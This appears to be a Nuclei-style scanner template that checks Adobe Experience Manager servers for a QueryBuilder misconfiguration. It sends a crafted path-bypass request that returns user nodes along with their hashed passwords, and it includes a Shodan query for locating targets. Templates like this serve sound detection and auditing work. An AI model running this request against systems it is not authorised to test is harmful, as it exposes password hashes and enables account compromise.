id: aem-hash-querybuilder info: name: Query hashed password via QueryBuilder Servlet author: DhiyaneshDk severity: medium description: AEM hased password can be queried via QueryBuilder Servlet. reference: - https://twitter.com/AEMSecurity/status/1372392101829349376 classification: cpe: cpe:2.3:a:adobe:acs_aem_commons:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: adobe product: acs_aem_commons shodan-query: http.component:"Adobe Experience Manager" tags: aem,misconfig http: - raw: - | GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '"success":true' - 'rep:password' condition: and # digest: 4a0a00473045022100cbf11f95c9247c9cc3fe053a423a3e0ade9109152df6cc2846d9b2baefa5ab08022062625d041fdfe24f1ce4db0e7b5d402a829145dbe331086aee015acf3a9d1f7e:922c64590222798bb761d5b6d8e72950